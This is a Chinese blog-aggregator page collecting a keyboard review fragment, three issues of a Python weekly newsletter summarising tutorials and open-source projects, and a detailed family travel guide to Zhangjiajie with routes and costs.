隔天到手,确实就是个仅拆封成色。至于那个写在产品名里的「高键程」,肯定跟机械键盘没法比,但确实一眼看过去就比 Magic Keyboard 更「深邃」,打起来也更带劲(但略微偏软)。如果说有什么缺点,最上面一排媒体键跟 Mac 的常见分布不太一一致、功能也不完全兼容,比如可以调音量但不能调亮度;但有 BetterTouchTool 之类第三方软件的自定义在,这倒无关紧要。另外,键位拨动开关的设定偶尔会失灵,变回 Windows 布局,需要来回拨一次才能恢复。

update

键盘固件升级工具 CD34 0.3.5 2022-08-05 512KB

by yangpeiyuan (i@yangpeiyuan.com) at September 09, 2023 03:14 PM

pythoncat

Python 潮流周刊#19:Mojo 终于提供下载了!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中两则分享,不代表全部内容都是该主题,特此声明。
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
为了方便读者获取原始内容,我已将周刊的 Markdown 文件归档在 Github,请通过以下链接获取:https://github.com/chinesehuazhou/python-weekly

🦄文章&教程

Mojo 语言是今年发布的“高性能的 Pyhton++”,周刊第 17 期刚分享过它获得了 1 亿美元融资,这周它就发布了 Linux 版本的安装包。除了编译器功能,它还提供了一些 IDE 工具(终端 shell、VS Code 插件、Jupyter 内核),暂不支持调试,暂无 Mac 和 Windows 版本。
PEP-703 是 no-gil 项目的提案,我们曾多次介绍过。作者讨论了该 PEP 中的一些话题,例如尽量少依赖原子操作的引用计数、延迟的引用计数、gc 不再会分代、对象锁等,从中能看出 Python 社区在性能和兼容性上的权衡。
实现一个 C 语言编译器需要多少行 Python 代码?文章介绍了编译器的架构、代码解析与生成流程,尝试用 500 行代码实现了一个简易的 C 编译器。
协议缓冲区(Protocol buffer)是一种与语言无关的数据序列化格式,类似于 Python 的 pickle 格式。文章介绍了如何用 Python 创建与编译协议缓冲区文件,并与支持该协议的其它语言进行通信。
极坐标直方图(Polar Histogram)是一种用于可视化和分析数据分布的图表形式,它将数据划分为多个扇区,每个扇区的长度或面积表示该角度范围内数据的频率或数量。文章介绍了如何 Python 绘制极坐标直方图。
布隆过滤器(Bloom Filter)是一种数据结构,可用于快速判断一个元素是否存在于一个集合中,场景的使用场景:去重、缓存与快速查询、防止缓存穿透、过滤垃圾邮件等。文章介绍了它是什么、如何操作、Python 实现、如何调整布隆过滤器等。
堆(Heap)是一种重要的数据结构,常用于快速访问最值、堆排序、调度与分配任务、图算法、数据压缩与编码等。文章介绍了它的基本概念、如何用 Python 实现最大堆和最小堆、它们的区别。
容器是一种轻量级的虚拟化技术,可实现 Python 程序的高效打包与部署。Red Hat 的这篇教程介绍了如何用 Podman 来构建、运行和管理 Python 容器。
这篇文章梳理了当前 Python 包管理时比较适用的一些最佳实践,例如使用 pyproject.toml、使用 setuptools 作分发和构建工具、用 Sphinx + reStructuredText + sphinx-rtd-theme 编写文档、用 CHANGELOG 列出版本更改、使用 black 和 flake8 等。
作者使用 Airflow 作为任务调度器,上线后每隔一段时间就出现 Scheduler 内存 OOM 问题,这篇文章详细记录了问题定位分析的过程。介绍了三个工具:objgraph、pympler、tracemalloc
作者认为标准库logging 比较难用,加上在程序错误时经常会缺少必要的日志,因此开发了 flake8-logging 插件。它有 12 条规则,这篇文章介绍了 3 条:使用 logging.getLogger() 实例化记录器、在异常处理时使用 exception()、避免预先格式化日志信息。
Falcon 作为当前最大的开源大模型,有 180B 参数并且是在在 3.5 万亿 token 的 TII RefinedWeb 数据集上进行训练,是目前开源模型里最长的单波段预训练。文章介绍了它的优势以及入门使用。
🎁Python潮流周刊🎁已免费发布了 19 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

不同于其它通用中文分词工具,它支持多领域分词、有更高的分词准确率、支持用户自训练模型、支持词性标注。准确性超过 jieba、THULAC 两个中文分词工具。(star 6.2K)
在命令行终端里制作和展示 presentation,支持标题、颜色、主题、放大、解释、快捷键等功能。
导入个人的语料库后,可以用缩写方式输入长串的内容。使用了 Autokey 来实现 Linux 的键盘快捷键。(star 1.3K)
一个使用 NLP 和 ML 构建聊天机器人的框架,轻松开发和部署 Web 应用。计划集成短信、本地集成大语言模型(Claude、Llama)。(star 1.2K)
功能丰富的 feed 阅读器,支持检索、存储和管理 Atom、RSS 和 JSON 源,支持标记文章为已读或重要、支持过滤 feed 和文章、支持全文搜索、支持统计用户活动、支持插件。
百川智能推出的新一代开源大语言模型,采用 2.6 万亿 Tokens 的高质量语料训练。在通用、法律、医疗、数学、代码和多语言翻译六个领域的中英文和多语言权威数据集上对模型进行了广泛测试。
Python 的依赖注入容器,提供了一个注册类型/接口工厂的机制,通过自动清理和运行状况检查强制获取这些类型的实例。使用依赖注入和服务定位来实现控制反转,消除大量重复的样板代码。
GPT 学术优化,特别优化论文阅读/润色/写作体验,模块化设计,支持自定义快捷按钮&函数插件,支持 Python 和 C++ 等项目剖析&自译解功能,PDF/LaTex 论文翻译&总结功能,支持并行问询多种 LLM 模型,支持 chatglm2 等本地模型。兼容文心一言, moss, llama2, rwkv, claude2, 通义千问, 书生, 讯飞星火等。(star 41K)

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

September 09, 2023 12:00 AM

September 02, 2023

pythoncat

Python 潮流周刊#18:Flask、Streamlit、Polars 的学习教程

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中三则分享,不代表全部内容都是该主题,特此声明。
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
为了方便读者获取原始内容,我已将周刊的 Markdown 文件归档在 Github,请通过以下链接获取:https://github.com/chinesehuazhou/python-weekly

🦄文章&教程

由系列文章组成的 Flask 学习指南,深入了解 Flask 的内部结构、核心特性和功能,涵盖主题有程序和请求上下文、Werkzeug、会话、安全(防CSRF)、测试、2.0 版本的异步等。
识别和处理 PDF 文件中的表格是件困难的事,PyMuPDF 最新版本 1.23.0 提供了从 PDF 中提取表格的功能!可以将提取内容交给 pandas 处理,可以导出 Excel 和 CSV 格式的文件。
周刊第 16 期分享了 Instagram 在 Python 3.12 引入永生对象的故事,而这里分享的文章深入剖析解释器源码,为我们回答了以下问题:为什么要引入永生对象?它对性能有什么影响?它是如何实现的(如 None 对象和小整数),如何做到兼容旧版本的接口的?
你知道 Python 中的下划线有哪些用法么?这篇文章介绍了:REPL 中的用法、作变量名的前缀和后缀时的四种用法、作为赋值“接收器”的两种用法、新 match-case 语法中的用处、用作频繁调用的函数别名、大额数字中增加可读性。
Asyncio 不仅提供了简单的Socket接口,还基于它提供了Protocol&Transport接口以及更高级的Stream接口,大大的减轻了开发者进行网络编程的心理负担。文章主要介绍了这几个接口的简单使用以及对应的原理分析。
Streamlit 是一个用于创建和部署 Web 程序的框架,广泛用于机器学习和数据科学领域。这篇 streamlit 教程介绍了它的安装以及常用组件的使用,是不错的 streamlit 资料。
FastAPI 是一个轻量级框架,通常需要集成其它组件搭配使用。这篇文章介绍了如何将 FastAPI 与 Jinja2 模板引擎、Tailwind CSS 以及 SQLAlchemy 结合,创建出一个好用的开发脚手架。
文章介绍了 Python 堆排序/优先队列、二分查找、有序容器的相关使用,它们有更好的时间复杂度或适用场景,是比暴力搜索和暴力排序更值得采用的解决方案。
我们经常会在注册一些账号后收到一封验证邮件,只有在链接的有效期内点击它才能完成账号注册。这篇教程介绍了如何用 Django 来实现这个功能,这是一个简短而完整的练手项目。
文章介绍了Pyetho 这个库的基本使用,它主要包含了全球国家及其语言的相关信息,采用 ISO 标准。收录有 195 个国家,我查询了下,中国有 285 种语言。除了国家和语言基本信息外,其它功能包括:查询某种语言的使用人数、查询某种语言在哪些国家使用、查询某种语言的谱系家族、查询所有的语言家族,等等。
Polars 是数据分析领域的新秀,底层是用 Rust 写的,拥有超高性能。这是一篇详细的教程,内容包括:它的 DataFrame、表达式和上下文、惰性 API(LazyFrame)、与外部数据源集成、与 Numpy 和 pandas 的集成,等等。
超长文预警!文章探索了不同编程语言中常见数据结构的实现,使用简洁的动画和图表直观介绍了相关的知识。主要涉及线性数据结构,如数组、动态数组、链表、循环链表、栈、队列、哈希表、集合,等等。数据结构当然离不开算法和时间复杂度,文中也有对应介绍。
🎁Python潮流周刊🎁已免费发布了 18 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

为 FastAPI 添加用户注册与身份验证模块,主要特性有:可扩展的用户模型、注册/登录/重置密码/邮箱验证、OAuth2 登录流程、可定制的数据库后端、支持多种身份验证,等等。(star 3.3K)
在命令行里弹钢琴是种什么体验?!安装这个库后,你就可以用鼠标和键盘来弹钢琴了。
一个比 requests 库更简单、可配置、功能丰富的库,使用 gevent 实现高性能并发,支持 HTTP/2,JSON 序列化比标准库快 10 倍,代码使用类型提示,100% 线程安全。
由浙江大学、阿里巴巴达摩院以及华院计算共同设计研发的法律大模型,以“普法共享和司法效能提升”为目标。模型基座是 Baichuan-7B,预训练的数据包括法律文书、司法案例以及法律问答数据,共 40 G。
系统化交易/量化交易是依据规则和算法进行自动化交易的策略,这个仓库收录了一系列资源:库、软件、策略、书籍、博客、论文、视频,等等。(star 1.1K)
Qwen-VL 是阿里云研发的大规模视觉语言模型,可以以图像、文本、检测框作为输入,并以文本和检测框作为输出。支持多语言、多图交错对话。评测结果显示,Qwen-VL 在多个 VL 任务上相比目前 SOTA 的 Generalist Models 都有明显优势。
查询和总结你的文档,或者与本地私有的 GPT LLM 聊天。支持大部分文档,支持 LLaMa2、Falcon、Vicuna、AutoGPTQ、LORA 等,支持 Linux、Docker、MAC 和 Windows。(star 7.2K)
Copilot 的开源替代方案,可自托管或使用云服务。支持 starcoder、starchat、llama2、wizardlm 等开源模型,支持代码补全、重构、解释、分析、优化与修复错误等功能。
dify 是 Do It For You 的简写,是一个易用的 LLMOps 平台,支持快速创建出自己的 AI 应用。核心能力:通过 Langchain 支持主流的大语言模型(包括讯飞星火、文心一言、通义千问)、可视化编排 Prompt、支持添加数据集、支持插件、支持数据标注与改进。(star 8K)
一个低代码开发框架,与 Plotly Dash、Streamlit 和 Shiny 相似,支持快速创建仪表板应用。后端使用 FastAPI,前端是一个基于 React 的 UI。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

September 02, 2023 12:00 AM

August 29, 2023

anji66

湘西张家界之旅(攻略篇)

内容我大致分吃住行玩几个章节简要的概括下,所有行程消费信息仅代表我个人,仅供参考。张家界是旅游兴市,整个市主要都是旅游产业。所以景点会非常多,相距也不是很远,如果非本地的去玩,除非是有钱有闲的大佬,所以得选择一些核心的景点就好。时节选择是四季均可,分别有不同的景色。本次我计划的是四天三夜的行程,包括从上海过去的赶路时间。实践证明最好是五天四夜会比较充裕一点。因为我原本计划的凤凰古城(不属于张家界,但是很近,不到200公里)没有去成。

下面总结下游览路线,附件为高清大图,有需要的可以下载。

一、张家界国家森林公园(武陵源景区)

推荐游玩时间:2天,景区很大,一天是无论如何也逛不完核心景点的,门票是4天内有效,可以反复进出,核心景点需要两天逛完,还有很多徒步线路,比如天子山索道可以步行爬上去,如果逛完整个武陵源而且爬山的话,腿脚快的也需要3-4天才能走完。

推荐游玩路线:建议逆时针游玩。

第一天:

A:天子山,武陵源标志门进,2号检票口,坐环保大巴前往天子山脚下,索道上天子山,索道是需要单独买票的,包括百龙天梯。天子山上的主要景点是贺龙公园(贺龙墓、贺龙铜像)、御笔峰和仙女献花、其中御笔峰就是张家界城市标志素材。贺龙公园有麦当劳和自助餐店,可以补充能量。

B:逛完天子山乘大巴往前往杨家界方向。中途有点将台和大观台,如果要下车去记得在大巴报站的时候喊师傅停车,否则直接就给带到杨家界了。点将台能看到奇峰千座,犹如神兵点将。大观台路口前往大观台可以看到天子山主峰。回到主路往前走一点是丁香榕路口,这里可以看空中田园,需要坐小的电动车,额外付钱的。这个地方我没去。

C:杨家界,前两年一把大火烧了,刚恢复生机,主要是能看到天然长城,景观不如袁家界,所以我也没去,时间比较紧张,如果不带娃的可以去转一下。

D:袁家界,此行武陵源的最核心景点。包括天下第一桥、哈利路亚山(阿凡达悬浮山原型)、迷魂台等,袁家界停车场这里有德克士小吃店可以补充能量,然后跟着路牌指示单向前进即可。出了迷魂台以后就到了大巴乘车点。

E:百龙天梯,严格来讲这也不算景点,额外花笔钱,做88秒的观光电梯下到山脚,再做一段小电梯下到底,到大巴乘车点,乘车到标志门出景区。

1.jpg


第二天:

A:十里画廊,继续昨天的标志门进,1号检票口坐环保大巴前往十里画廊,十里画廊实际上是个小峡谷,有十二生肖及正能量小火车,小火车也是单独收费的。强烈建议步行,因为真的没有10里路,单程1.7公里,小火车成人收费是76。景点有采药老人、三姊妹峰,步行道边上会遇到野生猴哥,建议别招惹他们,别投喂,猴子这种动物报复心强还记仇。逛玩回到乘车处,乘大巴前往下一站。

B:金鞭溪,金鞭溪广场有补给点,金鞭溪入口这里是水绕四门景观。然后顺着金鞭溪溪谷往上走,碎石滩可以戏水,水比较冷,如果东西放在边上记得防猴子,这家伙可是硬抢的。后续一直顺着金鞭溪往上游走,可以直通大氧吧广场。中途部分有前往鹞子寨和袁家界的路线,这是顺时针游玩前往袁家界比较好的路线。

C:黄石寨,这里我没去成,原因是在金鞭溪中途的地方,娃儿玩水,老婆和女儿一同掉溪里了,浑身湿透,不得已转头出了景区换衣服,再掉头进景区时间就不够了,留个遗憾,给将来再去留个借口,正所谓不到黄石寨枉来张家界。

2.jpg


二、张家界大峡谷

推荐游玩时间:半天,张家界大峡谷景区也很大,但是游玩路线不复杂,全程下来是3个小时,不过它在距武陵源16公里的地方,要顺着G241国道前进,直接开到游客服务中心。

推荐游玩路线:B线。景区分AB两条线,A线今年是免费的,B线就是多了一个网红景点世界最高玻璃桥,然后又分成125的套票和245两种套票。我买的是125的套票,可以建议买245的套票(有一个高空滑索可以体验,还有几个小项目)。

从检票口进去就是玻璃桥了,全国的玻璃桥都差不多的,这个高度高一点,也没那么夸张了,大概280米的落差,东方明珠第二个球的观光玻璃廊道也有260米。玻璃桥后是个大厅可以休息补充能量,然后沿着山边走栈道,有一段是玻璃栈道(这里体验完了,后面天门山的玻璃栈道就不用体验了)。然后坐观光电梯下山,如果245的门票这里可以做高空滑索到峡谷对岸,再下山,不过要排队,挺长的。我们坐观光电梯以为下到山脚,其实只到下到了三分之一,后面三分之二有栈道可以走下去,如果不想走就需要单独买两级的电梯票下到山脚彩虹广场,然后就沿着溪谷走到头,接着坐船到景区入口,再换成大巴到游客中心。如果把车停在景区入口地方就不用换乘上山了,小秘密:景区入口停车场收费的,游客中心停车场不收费。

3.jpg


三、张家界天门山

推荐游玩时间:1天,天门山景区在张家界市区边上,离武陵源景区约40公里,所以从武陵源和大峡谷回到市区,在市区住一晚,第二天早上出发正好。

推荐游玩路线:A线。天门山有ABC三条线路,A线的起点是在张家界市区里面,对,没错就是在市区里面,乘索道直接到天门山山顶,然后走下山路线,A线索道全程需要坐半个小时。B线是索道中站上山,C线是快速索道上山,B线和C线都需要在A线起点的位置换乘中巴车前往,也可以自驾过去。我们选的A线。

上了山顶以后,天门山山顶是一个相对平坦的山顶平地,围着山崖修了一圈栈道。建议上山后先看一下云梦仙顶,然后出来走西线,西线到了天门山寺后可以做小缆车(类似滑索)再回到起点,走东线。天门山寺这里是个广场,可以补充能量。如果在大峡谷体验了滑索了就别坐了,直接在天门山寺这里绕到东线上面,走一圈完成山顶行程。

山顶路线全部逛完以后,坐穿山电梯(7级),直接到天门洞顶。在这里从天门洞走台阶下到天门洞广场。不想走的可以做旁边的电梯(5级,另外买票)。天门洞广场上休息好了就要下山了,顺栈道走到C线索道,坐索道下山到狐仙广场,看狐仙演出的就在这里,不看的话做中巴回到市区A线起点。

4.jpg


食宿

酒店:张家界是个旅游城市,无论是张家界市区还是武陵源区,大街小巷全是酒店民宿,所以如果不是旺季,你完全可以不需要提前定酒店,可以到了看看环境再决定住哪里,特别是有洁癖的人。酒店标准从100多的青年旅社到上千的星级酒店都有。因为我是自驾直接到武陵源景区的,所以第一个晚上住在武陵源区(森林公园东门外就是武陵源区政府驻地,完整的商业城镇)的民宿,当时在美团上预定的,不能退订,如果需要在网上预定的一定要选那种当天可退的那种,一是应对行程的突发情况,二是万一看不中可以换。

美食:整个张家界遍地是所谓的“三下锅”,属实不好吃,可能是不正宗或者厨子水平问题,但是遍地都是这个你也没办法区分到底正不正宗,特别是我们江浙一带的居民,完全不符合口味,谨慎尝试。然后特色是娃娃鱼,这个还不错,如果不能吃辣的话和饭店打个招呼,红烧和煲汤,味道还可以,288或388一斤。其它小吃,唉基本上是全国一个样,长沙臭豆腐别说张家界了,现在全国哪儿没有。然后水果有个叫火参果,贼难吃别试。本地的葡萄、梨、李子都还不错,这个时节蜜桔还没有,有也是早熟果不好吃的。

6.jpg


特产

最多的就是葛根粉及葛根粉的衍生品葛根酥、葛根糖之类的,可以尝尝,另外就是小鱼干各式的香辣小鱼干也还行,还有比较小众的莓茶,可以尝尝。还有腊肉、岩耳之类的喜欢的可以买点。另外血豆腐不是张家界特产,而是隔壁邵阳的。上节说的蜜桔椪柑需要来对时节才有。


路途

自驾前往,有个3年实际驾龄的就十分稳妥了,没有别的攻略上说山路复杂。每个人的出发地不同,路线不同,景区周边主要牵涉两条路,长张高速、G241国道。其中G241国道串联了大峡谷、武陵源、天门山等核心景区。需要注意的是国道岔路口多,基本限速70,部分限速50,武陵源附近有个限速40的。长张高速全程限速100,注意长下坡。

从江浙方向过去的话,主要牵涉两条路G50沪渝高速和G56杭瑞高速。G50沪苏浙皖段限速120,沪苏浙段路况极好。安徽段就差点意思。安徽段有个别限速100,另安徽宣城段G50修路只能东向西,无法回来,回来得绕行。

进湖北走黄梅、武穴后转G56,G56湖北段全程限速110,阶段性区间测速,区间都比较长。过通城后进入湖南,G56湖南全程限速100,全程区间测速。区间大部分都10几公里区间,别超速。

另外一个有意思的是湖北和湖南两省均监控疲劳驾驶,跨省出行的会被电话语音提醒,我是赶夜路过去的后半夜在湖南境内,被系统提示进入重点监控车辆,路边显示屏会直接显示车牌号,要求进入服务区休息。

8.jpg


费用

总计6664.81元,其中油费:1293元,过路费:1275.91元,酒店:944元,门票:1793元,餐饮:1082.9元,购物及杂项:276元。所有费用不包含出发前的物资采购和保养车辆。

我的老伙计油费基本上5毛钱一公里,来回是2700多公里。过路费差不多也5毛一公里。酒店住了3晚,老婆有洁癖,所以调了个中档的300左右一晚上。门票是三个人的,女儿超过1米2,没有免票待遇,是优惠折扣票。其中武陵源里面的索道和百龙天梯是单独收门票的,不包含在大门票之内。餐饮以KFC和德克士为代表的快餐系列(路上及景区内)及饭店为代表的炒菜系列(城区里面)。饮料、水基本没在景区买,出发之前大润发采购足了随车带的。购物只买了数量不多的特产。


其它

1、景区都要实名的,网上或现场订票,景点都是刷身份证进入。小朋友没身份证怎么办?检票的地方会有专人在PDA上录入小朋友身份证号,然后刷脸或二维码进入。

2、是否需要提前预约?网上的攻略很多提示要预约,实际上不需要预约,因为大部分的攻略是这三年疫情期间做的,预约的理由你懂的。


其它想到的再补充吧,这篇攻略就到这,还有一篇游记,点击查看


附件:武陵源地图.jpg  天门山地图.jpg


by 西枫里 at August 29, 2023 07:49 AM

August 26, 2023

pythoncat

Python 潮流周刊#17:Excel 终于支持 Python 了、Meta 重磅开源新项目、Mojo 新得 1 亿美元融资

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中两则分享,不代表全部内容都是该主题,特此声明。
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本周的大新闻一个接一个啊!微软在 Python 之父 Guido 的帮助下,在 Excel 中集成了 Python;Meta 开源了 Code Llama,让程序员看到拥有自己编码助手的福音;Mojo 宣布 1 亿美元的巨额融资,势头之猛让人惊叹。本期周刊还分享了几则关于 FastAPI 的内容、大量学习资源、100 多个新鲜出炉的演讲视频等等,不容错过哟~~

🦄文章&教程

本周的重磅新闻!微软将 Python 引入到 Excel 中,支持在 Excel 中使用 Python 强大的数据分析、统计建模以及数据可视化库(pandas、statsmodels、Matplotlib 和 seaborn 等)。Guido 发推表示他参与了这个项目。
Server-Sent Events(服务器推送事件)可以让服务端一边生成内容,一边将数据返回给客户端。文章介绍了 FastAPI 如何使用 SSE 方式返回数据,并用 requests 和 aiohttp 来获取与展示接口数据。
文章使用 FastAPI、Hamilton、Streamlit 和 ChatGPT 开发了一个 PDF 文件摘要工具,介绍了项目的设计思路、架构设计与编程实现,效果图如下:
Mojo 是 LLVM 作者发布的一门新语言,完全兼容 Python 的语法。这篇文章上手体验了 Mojo 编程,对比 Python 讨论了它的一些语法、特性以及当前存在的问题。
Mojo 在生成曼德博集合时比 Python 快 35000 倍,这篇文章介绍了为什么要选用曼德博算法作衡量,以及 Mojo 语言做了哪些优化来实现高性能?(附:Mojo 所属的公司 Modular 本周宣布获得 1 亿美元融资,总融资已达到 1.3 亿美元!!)
APL 是在 1960 年代开发的一种高度符号化的编程语言,作者在学习这门语言后,反而加深了对 Python 编程的理解。作者受到触动的只是简单的一行代码,但它包含了内置函数、布尔值、数据驱动、列表推导式等 Python 优雅编程的要素。(附:从这 27 门编程语言中,也可以加深对 Python 的理解
Jupyter Notebooks 非常强大,它是如何做到的呢?这篇文章分析了 Jupyter 架构的内核以及一些有趣的实现细节,包括代码的执行工作流、代码解析执行、自动补全、代码检查、调试、虚拟输入、客户端和网关等。作者预告后续还会解析 Jupyter Server、JupyterLab、JupyterHub、Jupyter Enterprise Gateway 等项目。
Meta 开源的 linter 工具 Fixit 发布了2.0 版本,它支持自动修复问题,支持用户自定义 lint 规则。这篇文章介绍了 Meta 在使用 Flake8 时遇到的问题、为什么要开发 FIXit,以及为什么要重构出 Fixit 2 这个新版本?
一篇超级详细的全栈实战教程,涉及技术有 Flask、Jinja、Playwright、Pygments 和 Javascript,实现的是一个代码-图片生成器,也就是可以给代码片段添加样式并生成美观的图片。
周刊第 16 期分享了一篇 importlib 实现延迟加载的文章,这篇文章中的 apipkg 也能实现同样的效果,但用法稍有不同,可以对照学习。
当谈到 Python 并发时,就离不开标题的这些库。文章介绍和对比了这几个库,讨论了它们的设计与使用。那么,该使用哪个异步库呢?
作者想给 Python 提供一种标准化的依赖包锁定文件,曾在 2021 年发起了 PEP-665 ,但因为缺少对 sdist 的支持而被拒绝了。作者现在做了一些概念验证的事情,计划有 5 步,目前进展到第 3 步。(附:本月新发起的 PEP-725 – 在 pyproject.toml 中指定外部依赖项
作者看到 Go 编程时不喜欢用 ORM,因此也想尝试不用 ORM 而在 Python 中直接写 SQL。这种回归传统做法的主要问题是会混淆数据库操作与业务逻辑,但并不是不可行。
一篇很详细的基础教程,探讨了TypeError 的含义、出现的原因以及解决方法。文章非常之细致,介绍了 20 多种容易出错的场景,有些是初学者问题,但也有些是老手也易忽视的编程细节。
有很多版本管理和差异比较工具,但是能否用 Python 开发一个简单的工具实现呢?文章使用 difflib、argparse 和 HtmlDiff 分别开发了命令行工具和 HTML 网页两个版本的文件比较工具。
埃拉托斯特尼筛法是一种生成素数的算法,作者提供了一个 Python 实现,但是代码的性能和内存占用是主要的问题,因此作者做了一些优化改进,最后给出了一个有详细注释的优化版本。
🎁Python潮流周刊🎁已免费发布了 17 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

本周最火的开源项目!Code Llama 基于 Llama 2,可免费商用,可预见不久的将来会出现大量的编程工具!目前支持的语言包括 Python、C++、Java、PHP、Typescript/Javascript、C# 和 Bash。值得一提的是,它包含一个“Code Llama – Python”专用版本,基于 100B token 微调!(star 4K)
SeamlessM4T 也是 Meta 开源的项目,旨在提供高质量的翻译,让不同语言的人通过语音和文本轻松交流。支持 101 种语言的语音输入、96 种语言的文本输入与输出、35 种语言的语音输出。(star 3.7K)
微软开源的一个 PyTorch 库,可让开发者高效地扩展 Transformers,聚焦于提升建模的能力与通用性,同时提升训练的稳定性与效率。(star 2.4K)
这个 Github 项目是一篇集合了 20 多项 FastAPI 最佳实践的长文,包括项目结构、数据校验、解耦与重用依赖、遵循 REST、文档、linter 等等话题。(star 4.5K)
yappi 是 PyCharm 默认的性能分析器之一,它是用 C 编写的,支持多线程、asyncio 和 gevent,可以显示挂机时间与实际 CPU 时间。(star 1.2K)
一个非常丰富的资料库,包含 NLP/人工智能的大量内容。(star 55.7K)
这是一个 Web 应用和 Python 包,可从 OpenStreetMap 获取数据生成漂亮的地图作品。它基于另一个有 10K star 的项目 prettymaps ,主要简化了配置、降低代码复杂性、并使用 streamlit 开发了 Web 端应用。(star 1.7K)
一个用 Python 写的 C 语言解析器,可轻松集成到需要解析 C 源代码的程序中。它最主要的用途是在 cffi 库中,用于解析 C 函数和类型的声明。(star 3K)
利用生成式 AI 来存储和检索非结构化的信息,可以理解成支持人工智能的 Obsidian。可以处理各种形式的文件如文本、图片、代码、音频和视频等,依赖于 ChatGPT、Docker、Supabase,只支持操作系统是 Ubuntu 22+。(star 21.7K)
一个中文项目。记录用户的鼠标键盘操作,通过触发按钮自动执行之前记录的操作,可设定执行的次数,可以理解为精简绿色版的按键精灵。支持 Windows、Linux 和 Mac 系统。(star 4.3K)
AutoHotkey 是一种自动化脚本语言和工具,用于在 Windows 上创建快捷键、宏和自动化任务,例如模拟按键和鼠标操作、窗口管理、剪贴板操作、自动化表单填写等。这个项目覆盖了 AutoHotkey API,使用 Python 来桥接,扩展 AutoHotkey 的能力。
这个仓库收录了很多学习资源,其中很多也是一些聚合类的项目,也就是说实际包含的项目与资料有上万之多。(star 13.2K)
一个 Python 包和命令行工具,可以处理 Web 的文本信息,并转化成各种常用格式输出。包含爬虫功能、HTML 解析、网页内容萃取等等。(star 1.9K)

🐢播客&视频

澳大利亚今年 PyCon 上的演讲视频。目前已发布 84 个视频。
以色列今年 PyCon 上的演讲视频。目前已发布 23 个视频。
SciPy Talk 是科学计算领域的年度会议,通常涵盖数据分析、机器学习、人工智能、科学可视化等话题。目前已发布 44 个视频。

🥂讨论&问题

独自一人开发,想要快速实现全栈的 SaaS 应用,支持用户身份验证、订阅、付款等业务功能,前端该如何选择呢?Reddit 上的这个帖子,或许能给你提供一些思路/方法。
2、V2EX 上三则关于 Python 后端的热门讨论
近期在 Python 节点下最热闹的三篇帖子:Python 后端该如何提升自己呢?深夜睡不着,思考为什么国内 Python Web 后端太少Python 做后端,相对于 Java 或者 go 来说,到底差在哪? 从就业的角度来看,Python 后端在国内确实偏少,不仅后端,其它领域也有一种“热度退潮”的感觉(除了 AI 相关)。Python 潮流周刊的创刊想法之一就是去欧美盗火,为国内 Python 社区注入活力。愿论坛里将来能少一些沮丧性的、要抛弃 xx 另附高枝的情绪吧。

🐱赞助&支持

如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~
如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你想帮助周刊办得更好,欢迎向我们投稿或提出建议:投稿/建议通道
如果你是品牌方或广告主,欢迎私信我,洽谈赞助与合作事项。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

August 26, 2023 12:00 AM

August 19, 2023

usb

b'Debian 12 \xe5\xae\x89\xe8\xa3\x85 Nextcloud \xe6\x9c\x8d\xe5\x8a\xa1\xe7\xab\xaf'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x9c\xa8 Debian 12 \xe4\xb8\x8b\xe5\xae\x89\xe8\xa3\x85\xe5\xb9\xb6\xe9\x85\x8d\xe7\xbd\xae Nextcloud \xe6\x9c\x8d\xe5\x8a\xa1\xe7\xab\xaf\xe3\x80\x82'

by Showfom at August 19, 2023 08:00 AM

pythoncat

Python 潮流周刊#16:优雅重要么?如何写出 Pythonic 的代码?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中两则分享,不代表全部内容都是该主题,特此声明。
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
为了方便读者获取原始内容,我已将周刊的 Markdown 文件归档在 Github,请通过以下链接获取:https://github.com/chinesehuazhou/python-weekly

🦄文章&教程

作者强调使用 Python 的核心特性来编写惯用的、富有变现力的、优雅的代码很重要,提出优雅不是可有可无的奢侈品。
文章介绍了如何基于Asyncio.Future的特性编写一个语言级别的防缓存击穿的工具——Share,并介绍它的使用和高并发下的处理方法。
